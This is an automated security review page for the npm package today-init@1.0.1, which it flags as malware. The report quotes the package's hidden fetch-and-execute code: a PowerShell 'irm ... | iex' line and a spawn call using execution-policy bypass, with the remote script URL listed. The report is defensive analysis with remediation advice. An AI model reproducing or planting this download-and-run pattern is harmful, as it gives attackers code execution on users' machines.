today-init@1.0.1
AI Security Review
scanned 12d ago · by lpm-firewall-aiThe declared CLI entrypoint executes remotely fetched PowerShell code with execution-policy bypass. This is a direct remote code execution path, so the package should be blocked.
Static reason
No blocking static signals were detected.
Trigger
A user runs the installed today-init command.
Impact
The remote script can execute commands with the user's privileges.
Mechanism
The entrypoint invokes PowerShell with execution-policy bypass and pipes the downloaded script directly into its expression evaluator.
Attack narrative
When invoked, today-init downloads a PowerShell script from a mutable remote branch and immediately evaluates it. The package therefore delegates command execution to remote content without pinning or verifying that content.
AI rationale
The declared CLI entrypoint executes remotely fetched PowerShell code with execution-policy bypass. This is a direct remote code execution path, so the package should be blocked.
Evidence
index.js
Network endpoints1
raw.githubusercontent.com/YoungCaptainMarketHelm/today-init/main/YoungCaptainBirthday.ps1
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json exposes index.js as the today-init command-line entrypoint.
- index.js fetches a PowerShell script from raw.githubusercontent.com and pipes it directly to PowerShell's expression evaluator.
- index.js starts PowerShell with execution-policy bypass and passes the fetched script for execution.
Evidence against
Behavioral surface
ChildProcess
UrlStrings
NoLicense
Source & flagged code
3 flagged · loading sourcepackage.jsonView file
1{
"name": "today-init",
"version": "1.0.1",
"bin": {
"today-init": "index.js"
}
}
High
Ai Review Evidence
package.json exposes index.js as the today-init command-line entrypoint.
package.jsonView on unpkg · L1index.jsView file
6irm https://raw.githubusercontent.[redacted]-init/main/YoungCaptainBirthday.ps1 | iex
`;
const child = spawn("powershell", ["-NoProfile", "-ExecutionPolicy",
High
Ai Review Evidence
index.js fetches a PowerShell script from raw.githubusercontent.com and pipes it directly to PowerShell's expression evaluator.
index.jsView on unpkg · L69const child = spawn("powershell", ["-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script], {
stdio: "inh
High
Ai Review Evidence
index.js starts PowerShell with execution-policy bypass and passes the fetched script for execution.
index.jsView on unpkg · L9Findings
3 High2 Low
HighAi Review Evidencepackage.json
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
LowUrl Strings
LowNo License
Affected versions and remediation
This report applies to today-init@1.0.1.
See all versions of today-init for other recorded verdicts.
- Avoid installing today-init@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.